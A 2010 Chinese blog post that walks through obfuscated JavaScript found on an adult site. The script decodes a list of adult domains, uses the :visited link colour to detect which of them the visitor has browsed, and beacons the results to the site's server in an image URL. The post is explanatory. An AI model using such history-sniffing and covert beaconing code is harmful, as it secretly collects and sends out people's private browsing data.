悄悄用脚本检查你访问过哪些网站的代码


Posted in Javascript onDecember 04, 2010

打开它的“页面源文件”,你能找到一段加密过的JS脚本:

function ypol(){ 
//K是一个对象,实际上是一个数组。存了一堆加密过的pr*n站链接。 
var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5:"yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs /dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:"c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n",17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn"}; 
var g=[]; 
for(var m in k){ 
var d=k[m]; //遍历k中的元素赋值给d 
var a=""; 
for(var f=0;f<d.length;f++){ 
a+=String.fromCharCode(d.charCodeAt(f)-1); 
}/* 这里把d中的每一条字符都还原了。 
* charCodeAt(char) 函数返回char的ascii码 
* String.fromCharCode(asccii) 返回ascii码对应的字符 
* 然后把结果赋值给a 
* 比如第一次循环,a的值就是 qpsoivc/dpn -> pornhub.com 
*/ 
var h=false; 
/* 
* 这个循环创建A对象并让链接赋值为 http://a/ 和 http://www.a/ 
* 为什么要循环来2次,目的是为了准确性 
* 访问 http://example.com/ 和 http://www.example.com/ 对于浏览器来说,是不同的域名 
* 所以要区别对待 
*/ 
for(var j in {"http://":"","http://www.":""}){ 
var l=document.createElement("a"); //创建一个A对象 
l.href=j+a; 
document.getElementById("ol").appendChild(l); 
// A对象附加给一个id为ol的元素上,要附加在一个在DOM树上的元素,浏览器才会render这个元素,并设置合适的CSS 
var e=""; 
if(navigator.appName.indexOf("Microsoft")!=-1){ 
e=l.currentStyle.color; //取IE中A对象的颜色 
}else { 
e=document.defaultView.getComputedStyle(l,null).ge tPropertyValue("color"); 
//取其他标准浏览器的颜色 
} 
if(e=="#0c2238"||e=="#0c2238"){ 
/* 
* 如果是紫色,就表示访问过此站点。 
* 浏览器默认给访问过的链接标记为紫色 
* a:visited{color: #123456} 
*/ 
h=true; 
} 
} 
if(h){ //如果访问过,把站点加入列表g 
g.push(m); 
} 
} 
var b=(g instanceof Array)?g.join(","):""; //把g由数组变成字符串 
var c=document.createElement("img"); //建立一个img对象 
c.src="http://ol.youporn.com/blank.gif?id="+b; //img的src指向自家服务器上的一幅图像,关键是附带上了g数组的值 
document.getElementById("ol").appendChild(c); //加入DOM树,理由跟前面的A一样 
/* 
* 以一次图片访问,在web-server
Javascript 相关文章推荐
Mootools 1.2教程 事件处理
Sep 15 Javascript
解决jquery1.9不支持browser对象的问题
Nov 13 Javascript
js调用iframe实现打印页面内容的方法
Mar 04 Javascript
JS嵌套函数调用上下文的问题解决
Mar 26 Javascript
JavaScript实现向右伸出的多级网页菜单效果
Aug 25 Javascript
JS表单验证的代码(常用)
Apr 08 Javascript
JS实现回到页面顶部动画效果的简单实例
May 24 Javascript
最实用的JS数组函数整理
Dec 05 Javascript
JavaScript中var、let、const区别浅析
Jun 24 Javascript
layer设置maxWidth及maxHeight解决方案
Jul 26 Javascript
浅谈监听单选框radio改变事件(和layui中单选按钮改变事件)
Sep 10 Javascript
通过实例了解JS 连续赋值
Sep 24 Javascript
jQuery)扩展jQuery系列之一 模拟alert,confirm(一)
Dec 04 #Javascript
高效的表格行背景隔行变色及选定高亮的JS代码
Dec 04 #Javascript
javascript innerHTML使用分析
Dec 03 #Javascript
统计出现最多的字符次数的js代码
Dec 03 #Javascript
解决jquery的.animate()函数在IE6下的问题
Dec 03 #Javascript
基于jQuery的左右滚动实现代码
Dec 03 #Javascript
基于jquery的finkyUI插件与Ajax实现页面数据加载功能
Dec 03 #Javascript
You might like
基于数据库的在线人数,日访问量等统计
2006/10/09 PHP
PHP入门之常量简介和系统常量
2014/05/12 PHP
针对多用户实现头像上传功能PHP代码 适用于登陆页面制作
2016/08/17 PHP
jQuery Validation插件remote验证方式的Bug解决
2010/07/01 Javascript
javascript中有趣的反柯里化深入分析
2012/12/05 Javascript
通用javascript代码判断版本号是否在版本范围之间
2015/11/29 Javascript
Angularjs的ng-repeat中去除重复数据的方法
2016/08/05 Javascript
Bootstrap源码解读导航(6)
2016/12/23 Javascript
jquery 仿锚点跳转到页面指定位置的实例
2017/02/14 Javascript
JS使用插件cryptojs进行加密解密数据实例
2017/05/11 Javascript
bootstrap实现二级下拉菜单效果
2017/11/23 Javascript
js解决软键盘遮挡输入框的问题分享
2017/12/19 Javascript
在nginx上部署vue项目(history模式)的方法
2017/12/28 Javascript
js调用设备摄像头的方法
2018/07/19 Javascript
node.js学习笔记之koa框架和简单爬虫练习
2018/12/13 Javascript
js中对象和面向对象与Json介绍
2019/01/21 Javascript
angular使用md5,CryptoJS des加密的方法
2019/06/03 Javascript
解决layui动态添加的元素click等事件触发不了的问题
2019/09/20 Javascript
vue.config.js中配置Vue的路径别名的方法
2020/02/11 Javascript
JavaScript中跨域问题的深入理解
2021/03/04 Javascript
[52:12]FNATIC vs Infamous 2019国际邀请赛小组赛 BO2 第一场 8.16
2019/08/19 DOTA
python下如何查询CS反恐精英的服务器信息
2017/01/17 Python
Python生成8位随机字符串的方法分析
2017/12/05 Python
Tensorflow中使用tfrecord方式读取数据的方法
2018/06/19 Python
python使用tkinter库实现五子棋游戏
2019/06/18 Python
Python中if有多个条件处理方法
2020/02/26 Python
使用numpngw和matplotlib生成png动画的示例代码
2021/01/24 Python
html5 video标签屏蔽右键视频另存为的js代码
2013/11/12 HTML / CSS
HTML5新增加的功能详解
2016/09/05 HTML / CSS
Charles & Colvard官网:美国莫桑石品牌
2019/06/05 全球购物
药物学专业学生的自我评价
2013/10/27 职场文书
《湘夫人》教学反思
2014/02/21 职场文书
优秀工作者事迹材料
2014/12/26 职场文书
公司员工管理制度
2015/08/04 职场文书
超市主管竞聘书
2015/09/15 职场文书
使用Djongo模块在Django中使用MongoDB数据库
2021/06/20 Python